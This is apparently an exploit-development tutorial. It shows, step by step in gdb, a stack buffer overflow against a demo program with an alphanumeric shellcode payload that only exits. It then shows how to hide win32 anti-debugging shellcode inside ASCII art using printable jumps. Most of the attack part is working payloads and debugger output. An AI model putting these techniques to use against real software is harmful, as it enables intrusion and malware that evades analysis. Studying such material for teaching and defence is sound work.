Using the bof.c example from buffer overflows, there is a 100 byte buffer. |
- Lets start with 116 "A" characters to isolate the return pointer:
[hatter@eclipse ~]$ gdb -q ./bof Reading symbols from /home/hatter/bof...(no debugging symbols found)...done. (gdb) break main Breakpoint 1 at 0x80483e7 (gdb) r `perl -e 'print "A"x116'` Starting program: /home/hatter/bof `perl -e 'print "A"x116'` (gdb) x/200x $esp 0xbffff538: 0x00000000 0xb7e35483 0x00000002 0xbffff5d4
- Notice that %esp is aligned at 0xbffff538. Skipping to the end, the code starts appearing at 0xbffff748.
0xbffff738: 0x41410066 0x41414141 0x41414141 0x41414141 0xbffff748: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff758: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff768: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff778: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff788: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff798: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff7a8: 0x41414141 0x58004141 0x445f4744 0x5f415441
- A little bit of hex math will tell us that 0x748 - 0x538 = 0x1f0 (or 496 in decimal). Dividing this by 32 gives us the decimal value '15'. If moving directly to 0xbffff748, 18 bytes of code will have been skipped. To round it off, make sure there are 32 "A" characters at the beginning. So, if the code is to be executed properly, at least 16 'popa' instructions are required to get %esp to point to the code. So, lets do just a little more math here. Lets start with the 32 'A' characters, then 16 'a' characters. Wait, that adds 16 to the required value of %esp, so, two more 'a' (for a total of 18) characters are required and a trailing 34 bytes of nop's before the return pointer.
A Successful Overflow
In case the reader didn't follow along and skipped straight here, the shellcode is expected to exit(3), so this exit is expected behavior. |
[hatter@eclipse ~]$ gdb -q ./bof Reading symbols from /home/hatter/bof...(no debugging symbols found)...done. (gdb) break main Breakpoint 1 at 0x80483e7 (gdb) r `perl -e 'print "A"x32 . "a"x18 . "aPjjX4jHf5eOf5W0PZZj0X43P[HH" . "A"x34 . "\x48\xf7\xff\xbf"'` Starting program: /home/hatter/bof `perl -e 'print "A"x32 . "a"x18 . "aPjjX4jHf5eOf5W0PZZj0X43P[HH" . "A"x34 . "\x48\xf7\xff\xbf"'` Breakpoint 1, 0x080483e7 in main () (gdb) continue Continuing. [Inferior 1 (process 29422) exited with code 03]
So here's what happened. When the code hit 0xbffff748, we added (18 * 32 = 576 = 0x240) to the %esp register. Some quick math explains that 0xbffff538 + 0x240 = 778. An examination of where the code wound up will indicate that %esp has been successfully set to a value after the shellcode.
[user@host ~]$ gdb -q ./bof Reading symbols from /home/hatter/bof...(no debugging symbols found)...done. (gdb) break main Breakpoint 1 at 0x80483e7 (gdb) r `perl -e 'print "A"x32 . "a"x18 . "aPjjX4jHf5eOf5W0PZZj0X43P[HH" . "A"x34 . "\x48\xf7\xff\xbf"'` Starting program: /home/hatter/bof `perl -e 'print "A"x32 . "a"x18 . "aPjjX4jHf5eOf5W0PZZj0X43P[HH" . "A"x34 . "\x48\xf7\xff\xbf"'` Breakpoint 1, 0x080483e7 in main () (gdb) x/200x $esp 0xbffff538: 0x00000000 0xb7e35483 0x00000002 0xbffff5d4 [Shortened for brevity] 0xbffff738: 0x41410066 0x41414141 0x41414141 0x41414141 0xbffff748: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff758: 0x61614141 0x61616161 0x61616161 0x61616161 0xbffff768: 0x61616161 0x6a6a5061 0x486a3458 0x4f653566 0xbffff778: 0x30573566 0x6a5a5a50 0x33345830 0x48485b50 0xbffff788: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff798: 0x41414141 0x41414141 0x41414141 0x41414141
So the offset 0x778 is still inside the shellcode. That's ok though, the original 'a' or popa at the very beginning of the shellcode sets %esp to 0xbffff788. Expirement with this by setting breakpoints at 0xbffff788 (or the return pointer + 28), and seeing what gets written. A value of 0xffff80cd will be written right there - and if you step through instruction by instruction, the dword after it will constantly change as its being used for temporary stack space.}}{{protip|You can easily modify the exit code by modifying the ascii without having to go through the entire assembly and disassembly process over.
(gdb) r `perl -e 'print "A"x32 . "a"x18 . "ajjX4jHf5eOf5W0PZZj0X43P[HH" . "A"x35 . "\x48\xf7\xff\xbf"'` Starting program: /home/hatter/bof `perl -e 'print "A"x32 . "a"x18 . "ajjX4jHf5eOf5W0PZZj0X43P[HH" . "A"x35 . "\x48\xf7\xff\xbf"'` [Inferior 1 (process 17860) exited with code 03] (gdb) r `perl -e 'print "A"x32 . "a"x18 . "ajjX4jHf5eOf5W0PZZj0X44P[HHH" . "A"x34 . "\x48\xf7\xff\xbf"'` Starting program: /home/hatter/bof `perl -e 'print "A"x32 . "a"x18 . "ajjX4jHf5eOf5W0PZZj0X44P[HHH" . "A"x34 . "\x48\xf7\xff\xbf"'` [Inferior 1 (process 18701) exited with code 04] |
Encoding Shellcode : Ascii Art
This is a simple win32 alphanumeric encoded shellcode expanded using jump. It is also possible to expand polymorphic code in this way, or to write a packer/unpacker that interacts with ascii art.
Starting Shellcode
Starting out with Koshi's 14 byte alphanumeric NtGlobalFlags payload:
jpXV34dd3v09Fh
This payload ends on a CMP, so we'll have to add the jump condition. If the values are equal, the debugger is present; if the values are not, there is no debugger present. So, we can use the je byte offset instruction (t in alpha) to maintain printable code. We'll want to exit if there's a debugger present, else we can continue code execution.
push 'p' ;jp pop eax ;X push esi ;V xor esi, dword ptr ss:[esp] ;34d (now contains esi), esi = 0 xor esi, dword ptr ss:[esi+30] ;d3v0 (store offset 0x30 into esi) cmp dword ptr ds:[esi+68], eax ;9Fh (compare esi pointer offset 0x68 with 0x70.) |
The following must be sequential, and registers must be preserved:
- V34dd4v0 - ESI must be zeroed, NtGlobalflags must be stored in ESI.
- esi cannot be modified until eax is set to 0x6a/'j' and then 9Fh is run as a comparison.
Comparisons and Jumps
Available comparison operators are a little hacky. We can compare the eax register to a dword using the '=' opcode 0x3d, other than that we're limited to the unpredictable x38-0x3b instructions. For brevity we will use the '=' opcode here. Other available printable comparison operators will be reserved for future instructions, as they get much more complex.
- Suppose we wanted to jump 30 bytes ahead in pure ascii. The easy way to do this is by setting the value of the eax register to a controllable ascii DWORD. In this case, we'll use the string 'code':
hcodeX=codet0
- Disassembled, this represents:
push 'code' pop %eax cmp 'code', %eax je 0x30 |
The Ascii Art
This ascii art is 80 bytes wide, so each line is 81 bytes including the newline (0x0a). |
oooooooooo. .o8 `888' `Y8b "888 ooo. .oo. .ooooo. 888 888 .ooooo. 888oooo. oooo oooo .oooooooo `888P"Y88b d88' `88b 888 888 d88' `88b d88' `88b `888 `888 888' `88b 888 888 888 888 888 888 888ooo888 888 888 888 888 888 888 888 888 888 888 888 d88' 888 .o 888 888 888 888 `88bod8P' o888o o888o `Y8bod8P' o888bood8P' `Y8bod8P' `Y8bod8P' `V88V"V8P' `8oooooo. d" YD "Y88888P'
Jump Sequencing
Lets see which lines look the best for code insertion. The string 'hcodeX=codet0' is 13 bytes. We can start with a jump to the big string of o's at the top of the 'D' in Debug. The first 'o' is at row two, column 23. 81 + 23 = 104, or 0x68, the 'h' character:
hcodeX=codeth oooooooooo. .o8 `888' `Y8b "888 ooo. .oo. .ooooo. 888 888 .ooooo. 888oooo. oooo oooo .oooooooo `888P"Y88b d88' `88b 888 888 d88' `88b d88' `88b `888 `888 888' `88b 888 888 888 888 888 888 888ooo888 888 888 888 888 888 888 888 888 888 888 888 d88' 888 .o 888 888 888 888 `88bod8P' o888o o888o `Y8bod8P' o888bood8P' `Y8bod8P' `Y8bod8P' `V88V"V8P' `8oooooo. d" YD "Y88888P'
- We have now jumped to the top of the D. Going back to the shellcode, as long as we preserve eax, we can jump in the string '=codeth' which is 7 bytes, which lets us squeeze shellcode in spaces. Using the dword 'code' will actually let us tag the shellcode, serving as a tag on the next line in empty space. Because we can only jump 122 bytes, we can't get to a part of the ascii art with enough room. We can solve this problem by finding empty enough space to toss the jump code in, along with a little bit of the necessary shellcode:
hcodeX=codeth V34d=codet4 .o8 d4v0=codet? `888' `Y8b "888 ooo. .oo. .ooooo. 888 888 .ooooo. 888oooo. oooo oooo .oooooooo `888P"Y88b d88' `88b 888 888 d88' `88b d88' `88b `888 `888 888' `88b 888 888 888 888 888 888 888ooo888 888 888 888 888 888 888 888 888 888 888 888 d88' 888 .o 888 888 888 888 `88bod8P' o888o o888o `Y8bod8P' o888bood8P' `Y8bod8P' `Y8bod8P' `V88V"V8P' `8oooooo. d" YD "Y88888P'
- Thee ? mark marks where this current article is at, and all the way through the bit of code to store the PEB value into the %esi register using the string 'V34dd4v0' while maintaining the ability to jump around. The next bit of code is going to be tricky. 80 bytes will need to be jumped to land at the top of the 'e'. From there move to the lower top of the 'n', then to the middle of the 'e'. From there to the middle of the g to the bottom of the b, create an extra bottom on the D to accentuate, then jump to the bottom of the 'g' when and finished.
Ascii Art Code
hcodeX=codeth V34d=codet4 .o8 d4v0=codeti `888' `Y8b "888 ooo. .oo. .ooooo. 888 888 =codet. 888oooo. oooo oooo .oooooooo `88=codetn d88' `88b 888 888 d88' `88b d88' `88b `888 `888 888' `88b 888 888 888 888 888 888 88=codetk 888 888 888 888 888 888 888 888 888 888 888 d88' 888 .o 888 888 888 888 `=codet5' o888o o888o `Y8bod8P' o888bood8P' `Y8bod8P' `=codet0' `V88V"V8P' `8oooooo. =codet| d" YD "jpX9Fht?
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